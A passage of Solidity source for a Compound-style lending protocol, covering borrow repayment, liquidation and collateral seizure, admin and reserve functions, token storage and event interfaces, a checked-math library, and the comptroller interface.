* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken holds an additional repayAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount);
/*
* We calculate the new borrower and total borrow balances, failing on underflow:
* accountBorrowsNew = accountBorrows - actualRepayAmount
* totalBorrowsNew = totalBorrows - actualRepayAmount
*/
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED");
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount);
require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED");
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/* We emit a RepayBorrow event */
emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
// unused function
// comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex);
return (uint(Error.NO_ERROR), vars.actualRepayAmount);
}
/**
* @notice The sender liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);
}
error = cTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed
return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);
}
// liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral);
}
/**
* @notice The liquidator liquidates the borrowers collateral.
* The collateral seized is transferred to the liquidator.
* @param borrower The borrower of this cToken to be liquidated
* @param liquidator The address repaying the borrow and seizing collateral
* @param cTokenCollateral The market in which to seize collateral from the borrower
* @param repayAmount The amount of the underlying borrowed asset to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) {
/* Fail if liquidate not allowed */
uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0);
}
/* Verify cTokenCollateral market's block number equals current block number */
if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0);
}
/* Fail if repayAmount = 0 */
if (repayAmount == 0) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0);
}
/* Fail if repayAmount = -1 */
if (repayAmount == uint(-1)) {
return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0);
}
/* Fail if repayBorrow fails */
(uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We calculate the number of collateral tokens that will be seized */
(uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount);
require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED");
/* Revert if borrower collateral token balance < seizeTokens */
require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH");
// If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call
uint seizeError;
if (address(cTokenCollateral) == address(this)) {
seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens);
} else {
seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
}
/* Revert if seize tokens fails (since we cannot be sure of side effects) */
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
/* We emit a LiquidateBorrow event */
emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens);
/* We call the defense hook */
// unused function
// comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens);
return (uint(Error.NO_ERROR), actualRepayAmount);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Will fail unless called by another cToken during the process of liquidation.
* Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter.
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) {
return seizeInternal(msg.sender, liquidator, borrower, seizeTokens);
}
/**
* @notice Transfers collateral tokens (this market) to the liquidator.
* @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken.
* Its absolutely critical to use msg.sender as the seizer cToken and not a parameter.
* @param seizerToken The contract seizing the collateral (i.e. borrowed cToken)
* @param liquidator The account receiving seized collateral
* @param borrower The account having collateral seized
* @param seizeTokens The number of cTokens to seize
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) {
/* Fail if seize not allowed */
uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);
}
/* Fail if borrower = liquidator */
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
}
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
/*
* We calculate the new borrower and liquidator token balances, failing on underflow/overflow:
* borrowerTokensNew = accountTokens[borrower] - seizeTokens
* liquidatorTokensNew = accountTokens[liquidator] + seizeTokens
*/
(mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
}
(mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
/* Emit a Transfer event */
emit Transfer(borrower, liquidator, seizeTokens);
/* We call the defense hook */
// unused function
// comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);
return uint(Error.NO_ERROR);
}
/*** Admin Functions ***/
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() external returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets a new comptroller for the market
* @dev Admin function to set a new comptroller
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
ComptrollerInterface oldComptroller = comptroller;
// Ensure invoke comptroller.isComptroller() returns true
require(newComptroller.isComptroller(), "marker method returned false");
// Set market's comptroller to newComptroller
comptroller = newComptroller;
// Emit NewComptroller(oldComptroller, newComptroller)
emit NewComptroller(oldComptroller, newComptroller);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh
* @dev Admin function to accrue interest and set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed.
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
// _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to.
return _setReserveFactorFresh(newReserveFactorMantissa);
}
/**
* @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual)
* @dev Admin function to set a new reserve factor
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
// Verify market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
// Check newReserveFactor ≤ maxReserveFactor
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Accrues interest and reduces reserves by transferring from msg.sender
* @param addAmount Amount of addition to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _addReservesInternal(uint addAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.
(error, ) = _addReservesFresh(addAmount);
return error;
}
/**
* @notice Add reserves by transferring from caller
* @dev Requires fresh interest accrual
* @param addAmount Amount of addition to reserves
* @return (uint, uint) An error code (0=success, otherwise a failure (see ErrorReporter.sol for details)) and the actual amount added, net token fees
*/
function _addReservesFresh(uint addAmount) internal returns (uint, uint) {
// totalReserves + actualAddAmount
uint totalReservesNew;
uint actualAddAmount;
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.ADD_RESERVES_FRESH_CHECK), actualAddAmount);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call doTransferIn for the caller and the addAmount
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken holds an additional addAmount of cash.
* doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred.
* it returns the amount actually transferred, in case of a fee.
*/
actualAddAmount = doTransferIn(msg.sender, addAmount);
totalReservesNew = totalReserves + actualAddAmount;
/* Revert on overflow */
require(totalReservesNew >= totalReserves, "add reserves unexpected overflow");
// Store reserves[n+1] = reserves[n] + actualAddAmount
totalReserves = totalReservesNew;
/* Emit NewReserves(admin, actualAddAmount, reserves[n+1]) */
emit ReservesAdded(msg.sender, actualAddAmount, totalReservesNew);
/* Return (NO_ERROR, actualAddAmount) */
return (uint(Error.NO_ERROR), actualAddAmount);
}
/**
* @notice Accrues interest and reduces reserves by transferring to admin
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
// _reduceReservesFresh emits reserve-reduction-specific logs on errors, so we don't need to.
return _reduceReservesFresh(reduceAmount);
}
/**
* @notice Reduces reserves by transferring to admin
* @dev Requires fresh interest accrual
* @param reduceAmount Amount of reduction to reserves
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
// totalReserves - reduceAmount
uint totalReservesNew;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
// Fail gracefully if protocol has insufficient underlying cash
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
// Check reduceAmount ≤ reserves[n] (totalReserves)
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
totalReservesNew = totalReserves - reduceAmount;
// We checked reduceAmount <= totalReserves above, so this should never revert.
require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
// Store reserves[n+1] = reserves[n] - reduceAmount
totalReserves = totalReservesNew;
// doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
doTransferOut(admin, reduceAmount);
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
/**
* @notice accrues interest and updates the interest rate model using _setInterestRateModelFresh
* @dev Admin function to accrue interest and update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted change of interest rate model failed
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
// _setInterestRateModelFresh emits interest-rate-model-update-specific logs on errors, so we don't need to.
return _setInterestRateModelFresh(newInterestRateModel);
}
/**
* @notice updates the interest rate model (*requires fresh interest accrual)
* @dev Admin function to update the interest rate model
* @param newInterestRateModel the new interest rate model to use
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
// Used to store old model for use in the event that is emitted on success
InterestRateModel oldInterestRateModel;
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
// We fail gracefully unless market's block number equals current block number
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
// Track the market's current interest rate model
oldInterestRateModel = interestRateModel;
// Ensure invoke newInterestRateModel.isInterestRateModel() returns true
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
// Set the interest rate model to newInterestRateModel
interestRateModel = newInterestRateModel;
// Emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel)
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint(Error.NO_ERROR);
}
/*** Safe Token ***/
/**
* @notice Gets balance of this contract in terms of the underlying
* @dev This excludes the value of the current message, if any
* @return The quantity of underlying owned by this contract
*/
function getCashPrior() internal view returns (uint);
/**
* @dev Performs a transfer in, reverting upon failure. Returns the amount actually transferred to the protocol, in case of a fee.
* This may revert due to insufficient balance or insufficient allowance.
*/
function doTransferIn(address from, uint amount) internal returns (uint);
/**
* @dev Performs a transfer out, ideally returning an explanatory error code upon failure tather than reverting.
* If caller has not called checked protocol's balance, may revert due to insufficient cash held in the contract.
* If caller has checked protocol's balance, and verified it is >= amount, this should not revert in normal conditions.
*/
function doTransferOut(address payable to, uint amount) internal;
/*** Reentrancy Guard ***/
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
*/
modifier nonReentrant() {
require(_notEntered, "re-entered");
_notEntered = false;
_;
_notEntered = true; // get a gas-refund post-Istanbul
}
}
pragma solidity ^0.5.16;
import "./ComptrollerInterface.sol";
import "./InterestRateModel.sol";
import "./EIP20NonStandardInterface.sol";
contract CTokenStorage {
/**
* @dev Guard variable for re-entrancy checks
*/
bool internal _notEntered;
/**
* @notice EIP-20 token name for this token
*/
string public name;
/**
* @notice EIP-20 token symbol for this token
*/
string public symbol;
/**
* @notice EIP-20 token decimals for this token
*/
uint8 public decimals;
/**
* @notice Maximum borrow rate that can ever be applied (.0005% / block)
*/
uint internal constant borrowRateMaxMantissa = 0.0005e16;
/**
* @notice Maximum fraction of interest that can be set aside for reserves
*/
uint internal constant reserveFactorMaxMantissa = 1e18;
/**
* @notice Administrator for this contract
*/
address payable public admin;
/**
* @notice Pending administrator for this contract
*/
address payable public pendingAdmin;
/**
* @notice Contract which oversees inter-cToken operations
*/
ComptrollerInterface public comptroller;
/**
* @notice Model which tells what the current interest rate should be
*/
InterestRateModel public interestRateModel;
/**
* @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0)
*/
uint internal initialExchangeRateMantissa;
/**
* @notice Fraction of interest currently set aside for reserves
*/
uint public reserveFactorMantissa;
/**
* @notice Block number that interest was last accrued at
*/
uint public accrualBlockNumber;
/**
* @notice Accumulator of the total earned interest rate since the opening of the market
*/
uint public borrowIndex;
/**
* @notice Total amount of outstanding borrows of the underlying in this market
*/
uint public totalBorrows;
/**
* @notice Total amount of reserves of the underlying held in this market
*/
uint public totalReserves;
/**
* @notice Total number of tokens in circulation
*/
uint public totalSupply;
/**
* @notice Official record of token balances for each account
*/
mapping (address => uint) internal accountTokens;
/**
* @notice Approved token transfer amounts on behalf of others
*/
mapping (address => mapping (address => uint)) internal transferAllowances;
/**
* @notice Container for borrow balance information
* @member principal Total balance (with accrued interest), after applying the most recent balance-changing action
* @member interestIndex Global borrowIndex as of the most recent balance-changing action
*/
struct BorrowSnapshot {
uint principal;
uint interestIndex;
}
/**
* @notice Mapping of account addresses to outstanding borrow balances
*/
mapping(address => BorrowSnapshot) internal accountBorrows;
}
contract CTokenInterface is CTokenStorage {
/**
* @notice Indicator that this is a CToken contract (for inspection)
*/
bool public constant isCToken = true;
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint mintAmount, uint mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint redeemAmount, uint redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when comptroller is changed
*/
event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller);
/**
* @notice Event emitted when interestRateModel is changed
*/
event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint amount);
/**
* @notice Failure event
*/
event Failure(uint error, uint info, uint detail);
/*** User Interface ***/
function transfer(address dst, uint amount) external returns (bool);
function transferFrom(address src, address dst, uint amount) external returns (bool);
function approve(address spender, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function balanceOfUnderlying(address owner) external returns (uint);
function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function totalBorrowsCurrent() external returns (uint);
function borrowBalanceCurrent(address account) external returns (uint);
function borrowBalanceStored(address account) public view returns (uint);
function exchangeRateCurrent() public returns (uint);
function exchangeRateStored() public view returns (uint);
function getCash() external view returns (uint);
function accrueInterest() public returns (uint);
function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint);
/*** Admin Functions ***/
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint);
function _acceptAdmin() external returns (uint);
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint);
function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint);
function _reduceReserves(uint reduceAmount) external returns (uint);
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint);
}
contract CErc20Storage {
/**
* @notice Underlying asset for this CToken
*/
address public underlying;
}
contract CErc20Interface is CErc20Storage {
/*** User Interface ***/
function mint(uint mintAmount) external returns (uint);
function redeem(uint redeemTokens) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint);
function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint);
function sweepToken(EIP20NonStandardInterface token) external;
/*** Admin Functions ***/
function _addReserves(uint addAmount) external returns (uint);
}
contract CDelegationStorage {
/**
* @notice Implementation address for this contract
*/
address public implementation;
}
contract CDelegatorInterface is CDelegationStorage {
/**
* @notice Emitted when implementation is changed
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
* @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
* @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
*/
function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public;
}
contract CDelegateInterface is CDelegationStorage {
/**
* @notice Called by the delegator on a delegate to initialize it for duty
* @dev Should revert if any issues arise which make it unfit for delegation
* @param data The encoded bytes data for any initialization
*/
function _becomeImplementation(bytes memory data) public;
/**
* @notice Called by the delegator on a delegate to forfeit its responsibility
*/
function _resignImplementation() public;
}
pragma solidity ^0.5.16;
/**
* @title Careful Math
* @author Compound
* @notice Derived from OpenZeppelin's SafeMath library
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract CarefulMath {
/**
* @dev Possible error codes that we can return
*/
enum MathError {
NO_ERROR,
DIVISION_BY_ZERO,
INTEGER_OVERFLOW,
INTEGER_UNDERFLOW
}
/**
* @dev Multiplies two numbers, returns an error on overflow.
*/
function mulUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (a == 0) {
return (MathError.NO_ERROR, 0);
}
uint c = a * b;
if (c / a != b) {
return (MathError.INTEGER_OVERFLOW, 0);
} else {
return (MathError.NO_ERROR, c);
}
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function divUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b == 0) {
return (MathError.DIVISION_BY_ZERO, 0);
}
return (MathError.NO_ERROR, a / b);
}
/**
* @dev Subtracts two numbers, returns an error on overflow (i.e. if subtrahend is greater than minuend).
*/
function subUInt(uint a, uint b) internal pure returns (MathError, uint) {
if (b <= a) {
return (MathError.NO_ERROR, a - b);
} else {
return (MathError.INTEGER_UNDERFLOW, 0);
}
}
/**
* @dev Adds two numbers, returns an error on overflow.
*/
function addUInt(uint a, uint b) internal pure returns (MathError, uint) {
uint c = a + b;
if (c >= a) {
return (MathError.NO_ERROR, c);
} else {
return (MathError.INTEGER_OVERFLOW, 0);
}
}
/**
* @dev add a and b and then subtract c
*/
function addThenSubUInt(uint a, uint b, uint c) internal pure returns (MathError, uint) {
(MathError err0, uint sum) = addUInt(a, b);
if (err0 != MathError.NO_ERROR) {
return (err0, 0);
}
return subUInt(sum, c);
}
}
pragma solidity ^0.5.16;
contract ComptrollerInterface {
/// @notice Indicator that this is a Comptroller contract (for inspection)
bool public constant isComptroller = true;
/*** Assets You Are In ***/
function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
function exitMarket(address cToken) external returns (uint);
/*** Policy Hooks ***/
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint);
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external;
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint);
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external;
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint);
function borrowVerify(address cToken, address borrower, uint borrowAmount) external;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external returns (uint);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external;
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint);
function transferVerify(address cToken, address src, address dst, uint transferTokens) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint repayAmount) external view returns (uint, uint);
}
pragma solidity ^0.5.16;
/**
* @title ERC 20 Token Standard Interface
